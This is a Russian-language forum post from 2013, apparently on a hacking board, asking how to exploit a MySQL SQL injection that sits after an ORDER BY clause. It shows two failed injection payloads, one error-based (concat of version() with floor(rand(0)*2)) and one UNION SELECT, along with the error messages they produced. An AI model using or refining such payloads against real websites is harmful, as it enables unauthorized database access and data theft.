Показать сообщение отдельно

  #9  
Старый 28.11.2013, 21:39
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
С нами: 10409033

Репутация: 3
По умолчанию

Есть иньекция вида:

Код:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
Пробую делать так:

Код:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id+group+by+concat((select+version()),floor(rand(0)*2))+having+min(0)+or+1+--+1
Но получаю:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group+by+concat((select+version()),floor(rand(0)* 2))+having+min(0)+or+1+--+1' at line 1

А если делать union select

Код:
SELECT * FROM `date` WHERE name = 'test' ORDER BY id union select 1
то получаю:

#1221 - Incorrect usage of UNION and ORDER BY

Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
 
Ответить с цитированием